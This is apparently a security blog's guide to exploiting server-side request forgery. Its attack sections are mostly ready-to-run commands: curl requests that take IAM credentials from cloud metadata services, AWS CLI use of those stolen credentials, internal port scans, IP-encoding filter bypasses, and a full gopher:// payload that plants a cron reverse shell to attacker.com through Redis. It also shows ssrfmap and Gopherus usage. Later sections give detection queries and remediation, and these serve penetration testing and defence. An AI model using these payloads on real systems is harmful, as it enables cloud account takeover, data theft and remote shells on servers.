Server-side request forgery attack reaching cloud metadata and internal services

Server-Side Request Forgery (SSRF)

SSRF exploitation guide covering cloud metadata theft, internal port scanning, and blind SSRF with out-of-band detection.

Jul 28, 2026
2 min read

Introduction

Server-Side Request Forgery abuses the trust boundary between the application server and its internal network. When an application accepts a user-supplied URL and makes a backend HTTP request to it — for webhooks, URL preview, PDF generation, image fetching, or API proxies — you can redirect that request to targets the server can reach but you cannot: cloud metadata services, internal databases, admin panels, and RFC1918 hosts sitting behind the firewall.

The reason SSRF is consistently critical in cloud-hosted apps is 169.254.169.254. AWS IMDSv1 requires no authentication and returns IAM role credentials with a single GET request. Those credentials can be used directly with the AWS CLI to pivot laterally into S3 buckets, SSM, Secrets Manager, and beyond. Azure and GCP expose equivalent endpoints. One SSRF vulnerability in an EC2-hosted app can compromise an entire AWS account.

Blind SSRF — where the response never reflects back — is still exploitable. Out-of-band DNS or HTTP callbacks confirm reachability, and timing differences during port scanning reveal open/closed ports on internal hosts without seeing a single byte of response content.

Authorization Required

SSRF techniques documented here must only be used against systems you own or have explicit written authorization to test. Exploiting SSRF against cloud metadata endpoints on production infrastructure without authorization violates the Computer Fraud and Abuse Act and equivalent laws. Bug bounty programs frequently have specific scoping rules around metadata endpoints — read them.

Impact

  • Cloud credential theft: AWS IMDSv1 returns short-lived IAM role credentials without authentication; GCP and Azure equivalents exist
  • Internal network enumeration: Probe RFC1918 hosts and ports the application server can reach, bypassing perimeter controls
  • Data exfiltration from internal services: Read Redis keyspaces, Elasticsearch indexes, internal APIs with no public exposure
  • Remote code execution via Gopher: Gopher:// scheme can deliver raw TCP payloads to Redis, Memcached, and SMTP, enabling unauthenticated command execution
  • SSRF-to-RCE chains: Reach internal Jenkins, Kubernetes API server, or cloud metadata to obtain credentials for lateral movement
  • Authentication bypass: Internal admin panels often trust requests from 127.0.0.1 or internal IP ranges
  • Denial of service: Force the server to open connections to slow/non-responding hosts; connection pool exhaustion

Technical Details

Identify SSRF Entry Points

Any parameter that accepts a URL or hostname is a candidate. Common patterns:

GET /fetch?url=https://example.com
POST /webhook/test {"callback_url": "https://..."}
GET /render?src=https://example.com/img.png
POST /convert/pdf {"page": "https://..."}
GET /proxy?target=api.internal.com&path=/users

Headers are also in scope: X-Forwarded-Host, X-Original-URL, Referer, custom headers processed by WAFs or load balancers. Check import/include directives in XML parsers (XXE-to-SSRF) and href in SVG files processed server-side.

Submit https://burpcollaborator.net/ or an interactsh payload as the URL value and watch for DNS/HTTP callbacks before proceeding.

Exploit AWS IMDSv1 Metadata

The most common high-severity SSRF finding. IMDSv1 requires no token header.

AWS Metadata Enumeration
# List IAM roles attached to the instance
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Output: my-ec2-role

# Retrieve temporary credentials
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/my-ec2-role"
IMDSv1 Credential Response
{
  "Code": "Success",
  "LastUpdated": "2026-07-28T09:15:00Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAXXXXXXXXXXXXXXXXXXX",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token": "AQoDYXdzEJr...",
  "Expiration": "2026-07-28T15:15:00Z"
}
Use Stolen Credentials with AWS CLI
export AWS_ACCESS_KEY_ID=ASIAXXXXXXXXXXXXXXXXXXX
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
export AWS_SESSION_TOKEN=AQoDYXdzEJr...

# Enumerate what this role can do
aws sts get-caller-identity
aws iam list-attached-role-policies --role-name my-ec2-role
aws s3 ls
aws secretsmanager list-secrets

Other high-value IMDSv1 paths:

http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/user-data          # Often contains secrets/bootstrap scripts
http://169.254.169.254/latest/meta-data/network/interfaces/macs/

Azure and GCP Metadata

Azure IMDS
# Requires Metadata: true header — verify if the app forwards it or add via parameter injection
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# Managed identity access token (equivalent to IAM role creds)
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
GCP Metadata
# GCP uses a hostname alias resolvable from within the VM
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Enumerate all metadata
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/?recursive=true"

Note: GCP and Azure require custom request headers (Metadata-Flavor: Google, Metadata: true). If the SSRF vector doesn't let you inject headers, these endpoints are unreachable unless the application forwards all headers or there is a redirect chain involved.

Internal Port Scanning

Time differences and response content distinguish open from closed/filtered ports. Closed TCP ports return Connection refused quickly; filtered ports time out; open ports may return banners or HTTP responses.

Manual Port Scan via SSRF
# Use Burp Intruder or ffuf to iterate ports
# Target: internal Elasticsearch on default port
for port in 9200 9300 6379 5432 3306 27017 8080 8443; do
  curl -s "https://target.com/fetch?url=http://127.0.0.1:${port}" -o /dev/null -w "%{time_total} %{http_code}\n"
done
ffuf Internal Port Scan
ffuf -w /usr/share/seclists/Fuzzing/ports-top-1000.txt \
  -u "https://target.com/proxy?url=http://127.0.0.1:FUZZ" \
  -mc all \
  -fs 0 \
  -t 50

Common internal services to target: Redis (6379), Elasticsearch (9200), Consul (8500), Kubernetes API (6443/8443), etcd (2379), internal HTTP admin panels (8080/8081/9090), Jenkins (8080), Grafana (3000).

Redis Exploitation via Gopher Scheme

The gopher:// URI scheme sends raw bytes over TCP. Redis has no authentication by default. You can write arbitrary data to disk or set a cron job.

Gopher Payload for Redis RCE
# Write a webshell via Redis CONFIG SET dir + dbfilename + cron
# Raw Redis commands (RESP protocol):
# FLUSHALL
# SET 1 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1\n\n"
# CONFIG SET dir /var/spool/cron/
# CONFIG SET dbfilename root
# BGSAVE

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A%2A3%0D%0A%243%0D%0ASET%0D%0A%241%0D%0A1%0D%0A%2464%0D%0A%0A%0A%2A%2F1%20%2A%20%2A%20%2A%20%2A%20%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fattacker.com%2F4444%200%3E%261%0A%0A%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A%2Fvar%2Fspool%2Fcron%2F%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%246%0D%0ABGSAVE%0D%0A

Use Gopherus to generate these payloads without manual URL encoding:

Gopherus Payload Generation
python3 gopherus.py --exploit redis
# Select: RCE via cron
# Enter reverse shell IP and port
# Copy the generated gopher:// URL into the SSRF parameter

Filter Bypass Techniques

Applications frequently try to block SSRF by checking if the URL resolves to an internal IP. Most of these checks are trivially bypassed.

IP Encoding Bypasses
# Dotted decimal → octal
http://0251.0254.0251.0254/         # 169.254.169.254 in octal

# Dotted decimal → hex
http://0xa9fea9fe/                  # 169.254.169.254 in hex
http://0xa9.0xfe.0xa9.0xfe/

# Decimal (no dots)
http://2852039166/                  # 169.254.169.254 as uint32

# IPv6 representations
http://[::ffff:169.254.169.254]/
http://[::ffff:a9fe:a9fe]/

# Loopback variants
http://0.0.0.0/                     # Maps to 127.0.0.1 on Linux
http://[::]/
http://[::1]/

# URL-encoded @ to confuse host parser
http://attacker.com@127.0.0.1/
http://127.0.0.1#attacker.com

# DNS rebinding
# Point your domain to 1.2.3.4 initially (passes filter check)
# After TTL expires, re-point to 169.254.169.254
# Time the SSRF request to hit after rebind
Protocol Bypasses
file:///etc/passwd
dict://127.0.0.1:6379/info
sftp://attacker.com:11111/
ldap://127.0.0.1:389/

Open redirects on trusted domains can serve as SSRF helpers when the allowlist checks the initial URL:

https://target.com/fetch?url=https://trusted-cdn.com/redirect?to=http://169.254.169.254/

Attack Tools

Burp Suite Pro is the primary tool for both detecting and exploiting SSRF.

Detection with Collaborator:

  1. Send a request with a URL parameter to Burp Repeater
  2. Replace the URL value with a Burp Collaborator payload: https://xyz.oastify.com
  3. Send the request and check Collaborator for DNS/HTTP callbacks
  4. Confirm out-of-band interaction before attempting internal targets

Intruder for port scanning:

Target: https://app.target.com/fetch?url=http://127.0.0.1:§PORT§/
Payload type: Numbers (1–65535, step 1)
Grep match: "refused" / "timeout" to separate open from closed

Collaborator Everywhere (extension): Automatically injects Collaborator payloads into all parameters across the entire proxy history. Essential for passive SSRF discovery during regular browsing of a target.

Match-and-Replace rules for testing AWS metadata:

Replace parameter value with: http://169.254.169.254/latest/meta-data/

ssrfmap automates SSRF exploitation across multiple attack modules.

Install ssrfmap
git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap
pip3 install -r requirements.txt
Basic ssrfmap Usage
# Save vulnerable request to a file first (Burp: Save item)
# Mark injection point with SSRF_URL placeholder

# Scan for cloud metadata
python3 ssrfmap.py -r request.txt -p url -m cloud_aws

# Internal port scan
python3 ssrfmap.py -r request.txt -p url -m portscan \
  --lhost 10.0.0.1 --lport 4444

# Redis exploitation
python3 ssrfmap.py -r request.txt -p url -m redis \
  --lhost attacker.com --lport 4444

# List all modules
python3 ssrfmap.py --list-modules

Available modules: cloud_aws, cloud_gcp, cloud_azure, redis, portscan, networkscan, axfr, sock5, ftp.

The -p flag specifies the vulnerable POST/GET parameter. For JSON bodies, use dot notation: -p data.callback.url.

interactsh (ProjectDiscovery) is the open-source alternative to Burp Collaborator for out-of-band SSRF detection.

Install interactsh-client
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# Or via binary release
wget https://github.com/projectdiscovery/interactsh/releases/latest/download/interactsh-client_linux_amd64.zip
unzip interactsh-client_linux_amd64.zip
Start Listener and Get Payload URL
interactsh-client

# Output:
# [INF] Listing on interactsh server
# [INF] c23b4f9a7e2c1.oast.pro
Use in SSRF Testing
# Submit the generated domain as the SSRF value
curl "https://target.com/fetch?url=http://c23b4f9a7e2c1.oast.pro/"

# interactsh-client will print:
# [c23b4f9a7e2c1] Received HTTP interaction from 203.0.113.45
# [c23b4f9a7e2c1] Received DNS interaction from 203.0.113.45
interactsh with nuclei SSRF Templates
nuclei -u https://target.com -t ssrf/ -iserver interactsh-client.oast.pro

interactsh is useful in CI/CD pipelines and automated scanners where Burp Collaborator's GUI isn't practical. Self-host via interactsh-server for air-gapped environments.

Detection

SSRF is harder to detect at the network layer than most injection classes because the malicious request originates from a trusted internal host.

Server-side logs to monitor:

Log SourceWhat to Look For
Application logsRequests with url=, src=, callback= params pointing to RFC1918 or 169.254.x.x
AWS CloudTrailGetCredentials events from EC2 instance metadata service without corresponding AssumeRole
VPC Flow LogsEC2 instances making outbound connections to 169.254.169.254 from application ports
WAF logsBlocked requests containing hex/octal IP encodings or gopher:// schemes
DNS logsQueries for metadata.google.internal or rapid succession of internal hostname queries

SIEM detection query (Splunk):

SSRF Indicator - Metadata Endpoint Access
index=webapp_logs
| regex url="(169\.254\.169\.254|metadata\.google\.internal|169\.254\.169\.254)"
| stats count by src_ip, url, user_agent
| where count > 1

AWS GuardDuty findings relevant to SSRF impact:

  • UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS — credentials used from outside AWS
  • Discovery:IAMUser/AnomalousBehavior — unusual API calls with role credentials

Runtime detection — consider deploying a canary credential in SSM or Secrets Manager that is never legitimately accessed. An alert on any access to that credential indicates credential theft, potentially via SSRF.

Remediation

Network-level controls (highest priority):

  • Block outbound connections from application servers to 169.254.169.254/32 at the security group or NACLs level — this is a single rule that eliminates the most critical SSRF impact regardless of application code
  • Enforce egress filtering via security groups: application servers should only be able to reach explicitly required destinations, not the full internet or all internal hosts

Application-level controls:

URL Allowlist Validation (Python)
import ipaddress
import socket
from urllib.parse import urlparse

ALLOWED_SCHEMES = {"https"}
ALLOWED_HOSTS = {"api.trusted.com", "cdn.trusted.com"}

def validate_url(url: str) -> bool:
    parsed = urlparse(url)
    if parsed.scheme not in ALLOWED_SCHEMES:
        return False
    if parsed.hostname not in ALLOWED_HOSTS:
        return False
    # Resolve and check for private IPs
    try:
        ip = ipaddress.ip_address(socket.gethostbyname(parsed.hostname))
        if ip.is_private or ip.is_loopback or ip.is_link_local:
            return False
    except (socket.gaierror, ValueError):
        return False
    return True
  • Enforce IMDSv2 on all EC2 instances. IMDSv2 requires a PUT request to obtain a session token before GET requests work. This prevents SSRF-based metadata theft because the application's HTTP client won't automatically issue the required PUT:
Enforce IMDSv2 via AWS CLI
aws ec2 modify-instance-metadata-options \
  --instance-id i-1234567890abcdef0 \
  --http-tokens required \
  --http-endpoint enabled
IMDSv2 Enforcement via Instance Launch Template
{
  "MetadataOptions": {
    "HttpTokens": "required",
    "HttpEndpoint": "enabled",
    "HttpPutResponseHopLimit": 1
  }
}
  • Disable unnecessary URI schemes in HTTP client libraries (file://, gopher://, dict://, sftp://) — most HTTP clients support scheme restrictions
  • Resolve DNS before making the connection, validate the resolved IP, then connect directly to the IP (preventing DNS rebinding) — the "connect-via-IP" pattern
  • Use a dedicated egress proxy for all outbound requests from backend services; the proxy enforces allowlists centrally

References

MITRE ATT&CK Techniques

Tools Documentation

Next Steps

On this page